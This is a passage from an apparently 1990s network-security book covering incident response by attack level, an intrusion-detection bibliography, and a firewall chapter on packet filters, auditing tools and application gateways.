\ndenial-of-service attack appears to be related to some other form of attack (perhaps more \nsophisticated) or where it continues for some time (as in the Panix.com case) should you \nbother to do more than exclude the incoming traffic. However, if you are in a situation \nidentical to Panix, you may want to contact CERT or other authorities. \nResponding to Level-Two Attacks \nLevel-two attacks can be dealt with internally. There is no reason to leak information that \nlocal users can access things they shouldn't. Basically, freeze or eliminate the user's \naccount. If there are complaints, let your lawyers sort it out. If you \"counsel\" the \nindividual, you will see poor results. Within a month, he or she will be at it again. You \nare not engaged in a game. There is no guarantee that this internal user is just an \ninnocent, curious individual. One last thing: give no warning about freezing the account. \nThis way, you can preserve any evidence that might otherwise be deleted. \n \nNOTE: In cases where you cannot cut the user loose entirely (perhaps the user is an \nemployee), you can give warnings and make the user's position contingent on \ncompliance. Carefully document the incident as well, so that if further problems occur, \nthe user has no case for a wrongful termination action if fired. \n \nResponding to Level-Three, -Four, and -Five Attacks \n" }, { "page_number": 496, "text": " \n \nIf you experience any sort of an attack higher than a level two, you have a problem. Your \njob, then, is to undertake several actions: \n• \nIsolate the network segment so that the activity can only occur in a small area \n• \nAllow the activity to continue \n• \nLog all activity heavily \n• \nMake every effort (using a different portion of the network) to identify the source or sources of the \nattacks \nYou are dealing with a criminal. Under state and federal statutes, this type of access is a \ncrime. If you are to capture that criminal, you will need evidence. Generating that \nevidence will take time. \nThe standards of evidence in an Internet criminal case are not exactly settled. Certainly, \nthe mere act of someone trying to retrieve your /etc/passwd file by sendmail will not \nsupport a criminal case. Nor will evidence of a handful of showmount requests. In short, \nto build an iron-clad case against an intruder, you must have some tangible evidence that \nthe intruder was within your network or, alternatively, some tangible evidence identifying \nthe intruder as the one who downed your server in a denial-of-service attack. To do this, \nyou must endure the brunt of the attack (although you can institute come safeguards to \nensure that this attack does not harm your network). \nMy advice in such a situation would be to call in not only some law enforcement but also \nat least one qualified security firm to assist in snagging the offender. The most important \nfeatures of such an operation are logs and, of course, locating the perpetrator. You can \nprovide the logs on your own. However, as far as tracing the individual, you can only go \nso far. You might start with a simple traceroute and, before you're finished, you may have \nimplemented a dozen different techniques only to find that the network from which the \nperpetrator is hailing is either also a victim (that is, the cracker is island hopping), a rogue \nsite, or even worse, located in a country beyond the reach of the U.S. Justice Department. \nIn such cases, little can be done besides shoring up your network and getting on with \nyour business. Taking any other course of action might be very costly and largely a waste \nof time. \nSummary \nIn this chapter, you learned about levels of attack. These levels of attack are defined \nnumerically (level one being the least harmful, level six being the most harmful). This \nchapter discusses how to combat attacks of various levels, and informs you of tools you \ncan use to wage a successful battle. \nResources \nUNIX Incident Guide How to Detect an Intrusion. \n" }, { "page_number": 497, "text": " \n \n• \nhttp://ciac.llnl.gov/ciac/documents/CIAC-\n2305_UNIX_Incident_Guide_How_to_Detect_an_Intrusion.pdf \nSecuring Internet Information Servers. CIAC-2308. \n• \nhttp://ciac.llnl.gov/ciac/documents/CIAC-\n2308_Securing_Internet_Information_Servers.pdf \nThreat Assessment of Malicious Code and Human Computer Threats. L.E. Bassham \nand T.W. Polk. National Institute of Standards and Technology. Report to the U.S. Army \nVulnerability/Survivability Study Team, NISTIR 4939. October, 1992. \n• \nhttp://bilbo.isu.edu/security/isl/threat.html \nHackers in the Mist. R. Blake. Northwestern University, Independent study in \nanthropology. December 2, 1994. \n• \nhttp://www.eff.org/pub/Privacy/Security/Hacking_cracking_phreaking\n/Net_culture_and_hacking/Hackers/hackers_in_the _mist.article \nComputer Break-ins: A Case Study. Leendert van Dorn. Vrije University. January 21, \n1993. \n• \nhttp://www.alw.nih.gov/Security/FIRST/papers/general/holland.ps \nConcerning Hackers Who Break into Computer Systems. Presented at the 13th \nNational Computer Security Conference, October 1, 1990. \n• \nhttp://www.cpsr.org/ftp/cpsr/computer_crime/denning_defense_hacker\ns.txt \nSelling Security: Security Policies Are Key to a Strong Defense, But Top \nManagement Must First Be Brought on Board. C. Waltner. InfoWorld. \n• \nhttp://www.infoworld.com/cgi-bin/displayArchives.pl?dt_iwe52-\n96_82.htm \nThe United States vs. Craig Neidorf: A Debate on Electronic Publishing \nConstitutional Rights and Hacking. D.E. Denning. Communications of the ACM, \nMarch, 1991. \n• \nhttp://www.aracnet.com/~gtr/archive/intrusions.html \nAn Evening With Berferd In Which a Cracker is Lured, Endured and Studied. B. \nCheswick. AT&T Bell Labs. \n• \nftp://research.att.com/dist/internet_security/berferd.ps \nRecombinant Culture: Crime in the Digital Network. C. E. A. Karnow. Presented at \nDefcon II, July 1994. \n• \nhttp://www.cpsr.org/cpsr/computer_crime/net.crime.karnow.txt \n" }, { "page_number": 498, "text": " \n \nThe Baudy World of the Byte Bandit: A Postmodernist Interpretation of the \nComputer Underground. G. Meyer and J. Thomas. Department of Sociology, Northern \nIllinois University. March 5, 1990. \n• \nhttp://ei.cs.vt.edu/~cs6704/papers/meyer.txt \nIntrusion Detection \nAn Introduction to Intrusion Detection. Aurobindo Sundaram. \n• \nhttp://www.techmanager.com/nov96/intrus.html \nIntrusion Detection for Network Infrastructures. S. Cheung, K.N. Levitt, and C. Ko. \n1995 IEEE Symposium on Security and Privacy, Oakland, CA, May 1995. \n• \nhttp://seclab.cs.ucdavis.edu/papers/clk95.ps \nFraud and Intrusion Detection in Financial Information Systems. S. Stolfo, P. Chan, \nD. Wei, W. Lee, and A. Prodromidis. 4th ACM Computer and Communications Security \nConference, 1997. \n• \nhttp://www.cs.columbia.edu/~sal/hpapers/acmpaper.ps.gz \nDetecting Unusual Program Behavior Using the Statistical Component of the Next- \nGeneration Intrusion Detection Expert System (NIDES). Debra Anderson, Teresa F. \nLunt, Harold Javitz, Ann Tamaru, and Alfonso Valdes. SRI-CSL-95-06, May 1995. \n(Available in hard copy only.) \n• \nhttp://www.csl.sri.com/tr-abstracts.html#csl9506 \nIntrusion Detection Systems (IDS): A Survey of Existing Systems and A Proposed \nDistributed IDS Architecture. S.R. Snapp, J. Brentano, G.V. Dias, T.L. Goan, T. \nGrance, L.T. Heberlein, C. Ho, K.N. Levitt, B. Mukherjee, D.L. Mansur, K.L. Pon, and \nS.E. Smaha. Technical Report CSE-91-7, Division of Computer Science, University of \nCalifornia, Davis, February 1991. \n• \nhttp://seclab.cs.ucdavis.edu/papers/bd96.ps \nA Methodology for Testing Intrusion Detection Systems. N. F. Puketza, K. Zhang, M. \nChung, B. Mukherjee, and R. A. Olsson. IEEE Transactions on Software Engineering, \nVol.22, No.10, October 1996. \n• \nhttp://seclab.cs.ucdavis.edu/papers/tse96.ps \nGrIDS--A Graph-Based Intrusion Detection System for Large Networks. S. \nStaniford-Chen, S. Cheung, R. Crawford, M. Dilger, J. Frank, J. Hoagland, K. Levitt, C. \nWee, R. Yip, and D. Zerkle. The 19th National Information Systems Security \nConference. \n• \nhttp://seclab.cs.ucdavis.edu/papers/nissc96.ps \n" }, { "page_number": 499, "text": " \n \nNetKuang--A Multi-Host Configuration Vulnerability Checker. D. Zerkle and K. \nLevitt, Proceedings of the 6th Usenix Security Symposium. San Jose, California. 1996. \n• \nhttp://seclab.cs.ucdavis.edu/papers/zl96.ps \nSimulating Concurrent Intrusions for Testing Intrusion Detection Systems: \nParallelizing Intrusions. M. Chung, N. Puketza, R.A. Olsson, and B. Mukherjee. \nProceedings of the 1995 National Information Systems Security Conference. Baltimore, \nMaryland. 1995. \n• \nhttp://seclab.cs.ucdavis.edu/papers/cpo95.ps \nHolding Intruders Accountable on the Internet. S. Staniford-Chen and L.T. Heberlein. \nProceedings of the 1995 IEEE Symposium on Security and Privacy, Oakland, CA, 8-10 \nMay 1995. \n• \nhttp://seclab.cs.ucdavis.edu/~stanifor/papers.html \nMachine Learning and Intrusion Detection: Current and Future Directions. J. \nFrank. Proceedings of the 17th National Computer Security Conference, October 1994. \n• \nhttp://seclab.cs.ucdavis.edu/~frank/mlid.html \nAnother Intrusion Detection Bibliography. \n• \nhttp://doe-is.llnl.gov/nitb/refs/bibs/bib1.html \nIntrusion Detection Bibliography. \n• \nhttp://www.cs.purdue.edu/coast/intrusion-detection/ids_bib.html \nBibliography on Intrusion Detection. The Collection of Computer Science \nBibliographies. \n• \nhttp://src.doc.ic.ac.uk/computing/bibliographies/Karlsruhe/Misc/in\ntrusion.detection.html \n" }, { "page_number": 500, "text": " \n \n27 \nFirewalls \nMore than 50 percent of all users have heard of firewalls, but only a handful know what a \nfirewall really is. This is because firewalls are only used by those actively engaged in \nprotecting networks connected to the Internet. \nWhat Is a Firewall? \nA firewall is any device used to prevent outsiders from gaining access to your network. \nThis device is usually a combination of software and hardware. Firewalls commonly \nimplement exclusionary schemes or rules that sort out wanted and unwanted addresses. \nTo understand how firewalls work, consider some of the subjects discussed earlier in this \nbook. First, most simple authentication procedures use the IP address as an index. The IP \naddress is the most universal identification index on the Internet. This address can be \neither a static or dynamic address: \n• \nA static IP address is permanent; it is the address of a machine that is always connected to the \nInternet. There are many classes of static IP addresses. One class can be discovered by issuing a \nwhois query; this class consists primarily of top-level machines in a network, such as domain \nname servers, Web servers, and root-level machines. These actually have registered hostnames \nwithin the whois database at InterNIC. Other classes of static IP addresses are addresses assigned \nto second- and third-level machines within networks dominated by domain name servers, root \nservers, Web servers, and so on. These also have permanent physical addresses. However, these \nmachines might or might not possess a registered hostname. In any event, their addresses are \nregistered as well. \n• \nA dynamic IP address is one that is arbitrarily assigned to a different node each time it connects to \na network. Dynamic IP is often used by ISPs for dial-up access--each time a node dials up, it is \nassigned a different IP address. \nWhether your address is static or dynamic, it is used in all network traffic that you \nconduct. For example, as discussed in Chapter 13, \"Techniques to Hide One's Identity,\" a \nWeb server records your IP address when you request a Web page. This is not to intrude \non your privacy; it is done so that the server knows how to send you the requested data. \nIn a similar fashion, all network services capture your IP (either temporarily or \npermanently) so they can return data to your address. In essence, it works much like the \npostal service: Imagine if every letter mailed had a return address. On the Internet, things \nare just so. The IP is the return address. \nWhen a connection is made between your machine and a remote machine, various dialogs \nmay ensue. I discussed some of those dialogs in Chapter 6, \"A Brief Primer on TCP/IP.\" \nA common one--which you are apt to remember--is the TCP/IP three-way handshake. At \nany rate, such dialogs occur, during which time your IP is known by the target machine. \n" }, { "page_number": 501, "text": " \n \nUnder normal circumstances, where no firewall or other superseding utility (such as \nTCP_Wrapper) has been installed, the dialog between your machine and the remote \nmachine occurs directly (see Figure 27.1). \nFIGURE 27.1. \nThe route of information. \nWhen I say that information travels directly, that is a very qualified term. As you can see, \nthe process (even without security measures) is complex: \n1. The data originates somewhere within Your Network (which, by the way, could refer to a \nmachine in your home). In this case, you are connected to your provider's network. For our \npurposes, your provider's network is Your Network. \n \n2. Information travels from your machine to a machine on the provider's network. From there, the \ninformation travels through an Ethernet cable (or other means of transport) to the main server of \nYour Network. \n \n3. The server of Your Network passes this information to Router 1, which promptly pours the \ninformation through the telephone line (or other high-speed connection) to the Internet at large. \n \n4. The information travels across the Internet (passing through many routers and gateways along \nthe way), ultimately reaching Router 2. Router 2 pipes the information into Their Server; the \ninformation is then served via Ethernet (or other transport) to Their Network. \n \nNOTE: I have greatly simplified the network outlay design by providing only relevant \ndetails. In practice, there might be all sorts of devices located between Your Network \nand Their Network. \n \nIf neither side has installed security measures, the path is deemed (for all purposes) \ndirect. Router 2, for example, allows packets from any source (IP) address to travel \ndirectly to Their Server and ultimately, to Their Network. At no point during that \ntravel do the packets meet an obstacle. This is a completely insecure situation. However, \nfor many years, this was the standard. Today, the type of situation illustrated in Figure \n27.1 is too dangerous. Over the years, network engineers considered a wide range of \nsolutions, including the firewall. \nWhat Are the Components of a Firewall? \nThe most fundamental components of a firewall exist neither in software nor hardware, \nbut inside the mind of the person constructing it. A firewall, at its inception, is a concept \nrather than a product; it is an idea in the architect's mind of who and what will be allowed \nto access the network. Who and what dramatically influence how network traffic (both \nincoming and outgoing) is routed. For this reason, constructing a firewall is part art, part \ncommon sense, part ingenuity, and part logic. \nSuppose the architect knows a Web server must exist on the host network. This Web \nserver will obviously accept connections from almost any IP address. A restricted area, \ntherefore, must be created for that server. In other words, in providing Web services from \n" }, { "page_number": 502, "text": " \n \nthe host network, the architect must ensure that the Web server does not endanger the \nremaining portions of the network. Likewise, incoming mail is also an issue. \nSpecific Components and Characteristics \nFirewalls can be composed of software, hardware, or, most commonly, both. The \nsoftware components can be either proprietary, shareware, or freeware. The hardware can \nbe any hardware that supports the software being used. \nIf hardware, a firewall can (and often does) consist of no more than a router. As you will \nlearn in Chapter 28, \"Spoofing Attacks,\" routers have advanced security features, \nincluding the capability to screen IP addresses. This screening process allows you to \ndefine which IP addresses are allowed to connect and which are not. \nOther implementations consist of both hardware and software. (These can get pretty \neclectic. I have seen people using 386 boxes with shareware firewall/bridge products on \nthem.) \nIn any event, all firewalls share a common attribute: the capability to discriminate or the \ncapability to deny access generally based on source address. \nTypes of Firewalls \nThere are different kinds of firewalls, and each type has its advantages and \ndisadvantages. The most common type is referred to as a network-level firewall. \nNetwork-level firewalls are usually router based. That is, the rules of who and what can \naccess your network is applied at the router level. This scheme is applied through a \ntechnique called packet filtering, which is the process of examining the packets that come \nto the router from the outside world. \nIn a router-based firewall implementation, the source address of each incoming \nconnection (that is, the address from which the packets originated) is examined. After \neach IP source address has been identified, whatever rules the architect has instituted will \nbe enforced. For example, perhaps the architect decides that no network traffic will be \naccepted from any address within Microsoft Corporation. Thus, the router rejects any \npackets forwarded from microsoft.com. These packets never reach the internal server or \nthe network beneath it. \n \nNOTE: Routers are about the size of a small printer. Generally, at the back of the router \nare connection points for Ethernet and digital telephone lines. Use these connection \npoints to connect the telephone line (T1, T3, and so on) and Ethernet to your server. \nRouters are configured using special software. In most instances, the software is quite \neasy to use. Most newer implementations are controlled through a windowed interface \n(such as the X Window system, OpenWindows, and so on). Routers range in price (from \nused to new) from $600 to $1800. \n \nRouter-based firewalls are fast. Because they only perform cursory checks on the source \naddress, there is no real demand on the router. It takes no time at all to identify a bad or \nrestricted address. Nevertheless, the speed comes with a price: Router-based firewalls use \n" }, { "page_number": 503, "text": " \n \nthe source address as an index. That means (barring controls against such access) packets \nsent from forged source addresses can gain at least some level of access to your server. \nIn fairness, many packet-filtering techniques can be employed with router-based firewalls \nthat shore up this weakness. The IP address header is not the only field of a packet that \ncan be trapped by a router. As packet-filtering technology becomes more sophisticated, \nso do the schemes or rules employed by an administrator. One can now even apply rules \nrelated to state information within packets, using indexes such as time, protocol, ports, \nand so forth. \n \nCross Reference: For an excellent discussion of the fields that can be filtered, as well as \na comprehensive look at packet filtering, \"Network (In)Security Through IP Packet \nFiltering\" by D. Brent Chapman is a must. Find it online at \nhttp://www.unix.geek.org.uk/~arny/pktfilt.ps. \n \nHowever, these are not the only deficiencies of packet-filtering, router-based firewalls. \nFor example: \nAnother problem is that a number of RPC (Remote Procedure Call) services are very difficult to \nfilter effectively because the associated servers listen at ports that are assigned randomly at system \nstartup. A service known as portmapper maps initial calls to RPC services to the assigned service \nnumbers, but there is no such equivalent for a packet filtering router. Since the router cannot be \ntold which ports the services reside at, it isn't possible to block completely these services unless \none blocks all UDP packets (RPC services mostly use UDP). Blocking all UDP would block \npotentially necessary services such as DNS. Thus, blocking RPC results in a dilemma. \n \nCross Reference: The preceding paragraph is excerpted from \"Problems with Packet \nFiltering Routers\" by John Wack. It can be found online at \nhttp://www.telstra.com.au/pub/docs/security/800-\n10/node51.html. \n \nWack discusses RPC as a potential problem because the ports can be assigned \ndynamically at startup. However, in most cases, this type of filtering (appropriately called \nprotocol filtering) is not a problem. Very sophisticated schemes can be implemented in \nprotocol filtering, and these rely primarily on the port called by the remote host. \n \nCross Reference: For an excellent discussion of protocol filtering and packet filtering in \ngeneral, check out \"Packet Filtering in an IP Router\" by Bruce Corbridge, Robert Hening, \nand Charles Slater. This paper offers an inside look at exactly how packet filtering is \naccomplished in Telebit routers. More importantly, the document takes you through the \ndesign and implementation of the router. You can find it online at \nhttp://www.alw.nih.gov/Security/FIRST/papers/firewall/cslate\nr.ps. \n \nPacket Filtering Tools \nPacket filtering can be implemented without instituting a complete firewall. There are \nmany free and commercial packet-filtering tools on the Internet. Following is a list of \nseveral such utilities. \n" }, { "page_number": 504, "text": " \n \nTCP_Wrappers \nTCP_Wrappers is a program written by Wietse Venema (also the co-author of the famous \nscanning utility, SATAN). Arguably, no other tool more easily or efficiently facilitates \nmonitoring connections to your machine. The program works by replacing system \ndaemons and recording all connection requests, their time, and most importantly, their \norigin. For these reasons, TCP_Wrappers is one of the most critical evidence-gathering \ntools available. TCP_Wrappers also has the capability to screen out unwanted networks \nand IP addresses, preventing users from such addresses from connecting. \n \nCross Reference: TCP_Wrappers is available online at \nftp://ftp.win.tue.nl/pub/security/tcp_wrappers_7.4.tar.gz. \n \nNetGate \nNetGate (developed by SmallWorks) is a rule-based packet filtering system. It was \ndesigned for use on SPARC systems running SunOS 4.1.x. Like most packet filters, \nNetGate can examine each and every packet it encounters and can apply various rules, \nbased upon the source address revealed in that examination. (NetGate also sports some \npretty strong logging capabilities.) Reportedly, the distribution can be obtained either as a \nbinary installation ($1500) or source ($2500). If your company needs a product with \nsupport (as opposed to freeware), I would recommend NetGate as a reasonable and \neconomical alternative to other, more high-profile products. \n \nCross Reference: You can find information about NetGate at \nhttp://hosaka.smallworks.com/netgate/packetfiltering.html. \n \nInternet Packet Filter \nThis interesting package is freely available. Written by Darren Reed, the Internet Packet \nFilter has all the amenities of a finely coded, commercial application. (Reed took \nparticular pride in developing a package that could defeat the type of IP spoofing attack \nthat Kevin Mitnik purportedly launched against machines at the San Diego \nSupercomputer Center.) Some interesting tidbits: Reed provided functionality not only to \ndiscard TCP packets that were incomplete or malformed, but to do so silently (your host \nreturns no ICMP error). Internet Packet Filter also offers a comprehensive testing utility, \nso you can ensure your rules are sound before you implement them. (The program \nactually can take previous logs as input, and you can watch as the rules are applied. Very \ncool.) It is available for SunOS. \n \nCross Reference: The Internet Packet Filter can be found at \nftp://coombs.anu.edu.au:/pub/net/kernel/ip_fil3.0.4.tar.gz. \n \nAudit and Logging Tools \nPacket filters, when used in conjunction with powerful auditing tools, can greatly assist in \nprotecting your network and identifying intruders. The right combination of these types \n" }, { "page_number": 505, "text": " \n \nof tools can be every bit as effective as a commercial firewall (and generally, a whole lot \nless expensive). Following are some good auditing tools. \nArgus \nArgus was developed at Carnegie Mellon University's Software Engineering Institute. \nArgus is known to compile without errors, at least on the following platforms: \n• \nSunOS 4.x \n• \nSolaris 2.3 \n• \nSGI IRIX5.2 \nIn the document announcing Argus's availability, authors report that Argus is suitable for \nnetwork monitoring, identifying potential network problems, and perhaps most \nimportantly, verifying access control policies. \n \nCross Reference: The document announcing Argus's availability can be found online at \nftp://ftp.sei.cmu.edu/pub/argus-1.5/argus-1.5.announce. The \ntool can be obtained online at ftp://ftp.sei.cmu.edu/pub/argus-1.5/. \n \nNetlog \nNetlog, developed at Texas A&M University, can log all TCP and UDP traffic. To use \nthis product, you must have a C compiler that will take ANSI C conventions. This tool \nalso supports logging of ICMP messages (though the developers report that performing \nthis logging activity soaks up a great deal of storage). \n \nCross Reference: Netlog is available online at \nftp://coast.cs.purdue.edu/pub/tools/unix/TAMU/. \n \nNetman \nThis tool is covered extensively in Chapter 12, \"Sniffers.\" However, I will reiterate that \nthis is a suite of applications that is well crafted; it is arguably the most complete package \nof its kind ever made. \n \nCross Reference: Netman is available online at \nftp://ftp.cs.curtin.edu.au/pub/netman/. \n \nNOCOL/NetConsole v4.0 \nNOCOL/NetConsole v4.0 is a suite of standalone applications that perform a wide \nvariety of monitoring tasks. This suite offers a Curses interface, which is great for \nrunning on a wide range of terminals (it does not require the X Window system in order \nto work). It is extensible, has support for a Perl interface, and is quite complex. It also \noperates on networks running AppleTalk and Novell NetWare. \n \n" }, { "page_number": 506, "text": " \n \nCross Reference: NOCOL/NetConsole v.4.0 is available online at \nftp://ftp.navya.com/pub/vikas/nocol.tar.gz. \n \nThere are other platform-specific packet filters. One well-known one is packetfilter, \nwhich runs on Ultrix 4.3. It is kernel resident. \n \nCross Reference: The man page for packetfilter is available online at \nhttp://198.233.42.11/ cgi-bin/man2html/packetfilter(4). \n \nNonetheless, many of these tools, although capable of examining and monitoring packet \ntraffic, cannot institute access-control policies. And that is the whole purpose of a \nfirewall. It gives the administrator the ability to finely control who can (and cannot) \naccess the network. \nApplication-Proxy Firewalls/Application Gateways \nOther types of firewalls exist. A common type is application-proxy firewalls (sometimes \nreferred to as application gateways). These work a bit differently from packet-filtering, \nrouter-based firewalls. Application gateways are software-based. When a remote user \nfrom the void contacts a network running an application gateway, the gateway blocks the \nremote connection. Instead of passing the connection along, the gateway examines \nvarious fields in the request. If these meet a set of predefined rules, the gateway creates a \nbridge between the remote host and the internal host. Bridge refers to a patch between \ntwo protocols. For example, in a typical application gateway scheme, IP packets are not \nforwarded to the internal network. Instead, a type of translation occurs, with the gateway \nas the conduit and interpreter. This is sometimes referred to as the man-in-the-middle \nconfiguration. \nThe advantage of the application-gateway proxy model is the lack of IP forwarding. More \nimportantly, more controls can be placed on the patched connection. Finally, such tools \noften offer very sophisticated logging facilities. Again, there is no such thing as a free \nlunch. As you might expect, this gateway scheme has a cost in terms of speed. Because \neach connection and all packet traffic are accepted, negotiated, translated, and \nreforwarded, this implementation can be slower than router-based packet filtering. \nIP forwarding occurs when a server that receives an external request from the outside \nworld forwards that information in IP format to the internal network. Leaving IP \nforwarding enabled is a fatal error. If you allow IP forwarding to occur, a cracker can get \nin from the outside and reach workstations on your internal network. \nAnother disadvantage of this scheme is that a proxy application must be created for each \nnetworked service. Thus, one is used for FTP, another for Telnet, another for HTTP, and \nso forth. As John Wack explains in his article titled \"Application Gateways\": \nA disadvantage of application gateways is that, in the case of client-server protocols such as \nTelnet, two steps are required to connect inbound or outbound. Some application gateways require \nmodified clients, which can be viewed as a disadvantage or an advantage, depending on whether \nthe modified clients make it easier to use the firewall. A Telnet application gateway would not \nnecessarily require a modified Telnet client, however it would require a modification in user \n" }, { "page_number": 507, "text": " \n \nbehavior: the user has to connect (but not log in) to the firewall as opposed to connecting directly \nto the host. But a modified Telnet client could make the firewall transparent by permitting a user \nto specify the destination system (as opposed to the firewall) in the Telnet command. The firewall \nwould serve as the route to the destination system and thereby intercept the connection, and then \nperform additional steps as necessary such as querying for a one-time password. User behavior \nstays the same, however at the price of requiring a modified client on each system. \n \nCross Reference: \"Application Gateways\" by John Wack can be found online at \nhttp://www.telstra.com.au/pub/docs/security/800-\n10/node52.html. \n \nTIS FWTK \nA typical example of an application-gateway firewall package is the Trusted Information \nSystems (TIS) Firewall Tool Kit (hereinafter referred to as the FWTK). This software \npackage, early versions of which are free for noncommercial use, contains many separate \ncomponents. The majority of these components are proxy applications. It includes \nproxies for the following services: \n• \nTelnet \n• \nFTP \n• \nrlogin \n• \nsendmail \n• \nHTTP \n• \nThe X Window system \nThe FWTK is a comprehensive system. Nonetheless, it does not protect your network \nimmediately upon installation. This is not a product that you simply install and abandon. \nThe TIS FWTK is a tool kit. After you unpack the software, you must make certain \ndecisions. You must also understand what you are doing. This is not a simple \nconfiguration problem. If you make erroneous rules or decisions along the way, your \nnetwork might be unreachable from the void, even from friendly networks. Reading the \ndocumentation is paramount. \nThe beautiful thing about the FWTK is that it has excellent access control built into its \ndesign. For example, you can allow or deny access (connection) from a network, a part of \na network, or even a single address. In this respect, it has granular access control. \n \nCross Reference: Before you get the TIS FWTK, you should probably examine a \nposting of a message from Marcus Ranum, one of the developers of TIS FWTK. This is a \nshort, entertaining document that gives some insight into how the FWTK started. That \ndocument is located online at http://www.micrognosis.com/~nreadwin/fwtk/history.txt. \n \n \nCross Reference: Obtain a copy of the TIS Firewall Tool Kit at \nftp://ftp.tis.com/pub/firewalls/toolkit/dist/. \n \n" }, { "page_number": 508, "text": " \n \n \nCross Reference: The FWTK requires a UNIX system and a C compiler. Moreover, \nalthough the FWTK is known to compile on SunOS and BSD without problems, \nconfiguration issues exist for Linux. To sort out these problems quickly, there is no better \ndocument than \"Creating a Linux Firewall using the TIS Toolkit\" by Benjamin Ewy. That \ndocument is located online at http://www.ssc.com/lj/issue25/1204.html. \nPatches for use with the FWTK on Linux are located online at \nftp://ftp.tisl.ukans.edu/pub/security/firewalls/fwtkpatches.\ntgz. \n \nThe reason I mention the TIS FWTK is because it was the first, full-fledged firewall of \nthis class. It was a ground breaker in the firewall field. \n \nCross Reference: \"Thinking About Firewalls,\" also by Marcus Ranum, is a very good \ndocument about firewalls in general. This document details the types of firewalls that can \nbe implemented and their advantages and disadvantages. It can be found online at \nhttp://hp735c.csc.cuhk.hk/ThinkingFirewalls.html. \n \n \nNOTE: Another extremely popular firewall in this class is SOCKS, which is based on \nthe application-proxy model. The connect request is intercepted by SOCKS and \ntranslated. Thus, a direct connection never occurs between your network and the outside \nworld. SOCKS is of great significance because it is so well established that support for it \nis already included in many browser packages, most notably Netscape Navigator. \n \n \nCross Reference: There is a very comprehensive coverage of SOCKS technology on the \nInternet. The document is so well designed and written that anyone can get a solid grasp \nof how SOCKS works in just a few moments. That document is at \nhttp://www.socks.nec.com/introduction.html. \n \nIt is my opinion that application-gateway systems (proxy-based firewalls) are more \nsecure. This is because there is no IP forwarding scheme. That means IP packets from the \nvoid cannot reach any machine on your internal network. \nFirewalls Generally \nOne of the main ideas behind a firewall is that your network will remain theoretically \ninvisible (or at least unreachable) to anyone not authorized to connect. This process \nworks through the exclusionary schemes that one can apply using a firewall. \n \nCAUTION: Your firewalled network will not be entirely invisible. At least one scanner, \ncalled Jakal, can scan for services running behind a firewall. Jakal, a stealth scanner, will \nscan a domain (behind a firewall) without leaving any trace of the scan. According to the \nauthors, all alpha test sites were unable to log any activity (though it is reported that \n\"some firewalls did allow SYN | FIN to pass through\"). Refer to Chapter 9, \"Scanners,\" \nfor the scoop on that utility. \n \nTheoretically, a firewall is the most stringent security measure you can implement \n(barring, of course, disconnecting your system from the Internet). Nevertheless, issues \nregarding this stringent security environment remain. One is that security with a firewall \n" }, { "page_number": 509, "text": " \n \ncan be configured so stringently that it can actually impair the process of networking. For \nexample, some studies suggest that the use of a firewall is impractical in environments \nwhere users critically depend on distributed applications. Because firewalls implement \nsuch a strict security policy, these environments become bogged down. What they gain in \nsecurity, they lose in functionality. Universities are a perfect example of this type of \nenvironment. Research in universities is often conducted where two or more departments \n(often on network segments located far from each other) are involved in the compilation \nof data (and corroboration of research efforts). In these environments, it is very difficult \nto work under such tight security restraints. \nA second issue regarding firewalls is that they lead to placing most of your eggs in one \nbasket. Because a firewall is your face to the void, a breach can cause your internal \nnetwork to be easily destroyed. That is, firewalls can foster a climate in which they are \nthe only real access control and security you have. Firewalls are almost always described \nas the bottleneck of a network, where all authentication is to be done. This seems suitable \nas long as firewalls are infallible. But what if they aren't? What if a technique is \ndiscovered to crack any firewall? Networks that rely on firewalls would be completely \nexposed, and odds of survival would be slim. \nBefore you construct a firewall, you should undertake some serious research. When you \nconstruct a firewall, you must know your network intimately. This requires true \norganization. Various network segments (either on the same network or different ones) \nwill need to communicate with each other. These networks can communicate through \nautomated processes or human interaction. Automated processes might prove easy to \naccommodate. Human-initiated processes, however, can differ dramatically. \nFor some organizations, a firewall is just plain impractical. ISPs are within this class. One \ncould quickly lose customers by instituting harsh security policies. Indeed, some contend \nthat firewalls are not needed. These people argue that solid system administration \npractices will render the same benefit as a firewall, without slowing the network or \nmaking connections difficult. \nThere are other problems with establishing a firewall as well. If FTP, Telnet, Gopher, \nHTTP, RPC, rlogin, and NFS were the only protocols that the Internet would ever use, a \nfirewall would pose only limited problems with access. After all, proxies have been \nwritten for all of these applications. The problem is, these are not the only services; new \nservices crop up each month. Thus, to provide your internal users with effective Internet \naccess, you must keep up with the applications now emerging. Proxies for such services \nwill generally be obtainable, but after the new service or protocol has already been on the \nmarket for some time. Of course, some time is generally only a few months, but during \nthose months, your internal users will fuss. \nBuilding a Firewall: What You Need to Know \nThe construction of a firewall is not for the faint of heart. It is for a system administrator \n(or other individual) who intimately knows the network to be firewalled. The process is \nnot simple; the steps include \n" }, { "page_number": 510, "text": " \n \n1. Identifying topology and protocol needs \n \n2. Developing policies \n \n3. Having adequate tools \n \n4. Using those tools effectively \n \n5. Testing the configuration \nIdentifying Topology and Protocol Needs \nThe first step is to understand the network in its entirety. This task might involve more \nthan simply looking over the machines, the logs, and so forth. It might involve discussing \nthese matters with individual departments. For example, in larger networks, there might \nbe many interactions between a specific department in one building and a specific \ndepartment in another. These buildings might be located hundreds or even thousands of \nmiles away from each other. You need to know what type of outgoing traffic users \nrequire. \nIt is important to maintain your tact during this process. You will often run into users \nwho insist, \"We've been doing it this way for 10 years now.\" Even though you have great \nauthority (because security is such a serious concern), you should work with these people \nas much as possible. It is not necessary that they understand the process in full. \nNevertheless, if you intend to restrict or otherwise hamper their ability to reach out into \nthe void, you should explain why to them. The last thing you need is to anger (or \notherwise foster resentment within) local users. Rather, you need their support because \nafter you finish building your firewall, you will distribute a policy. How closely local \nusers follow that policy will dramatically affect the security of your network. For \nexample, if insecure modems are located in this or that department, this is a potential \nhole. If you have dealt tactfully with local users, you will probably have nothing to fear. \nHowever, if you have issued Draconian decrees, you can be pretty sure that local users \nwill trip you up. \n \nNOTE: I hear folks dispute this all the time. They insist that no one can simply install a \nmodem on a machine. Why not? I have seen it happen in many companies. There is \nnothing in a policy alone that will prevent an employee from doing so. Furthermore, on \nnetworks with PC-based workstations, many machines or workstations have internal \nmodems to begin with. I dealt with one client who had a Novell NetWare network from \nthe old days. Even the client was unaware that some machines had modems (1200 baud, \nof course). \n \nSo, your first job is to determine what can and cannot be restricted. A list should be made \nof all nonstandard protocols that are essential between this network and any other. That \ndone, you can begin to get a picture of how the firewall will be built (at least, the local \naccess policies). Determining whom (or what) not to let in is a little less perplexing. More \nthan likely, you will want to restrict connections from any network known to forward \nunsolicited e-mail, sexual content, or other materials not related to your business. You \nmight also want to 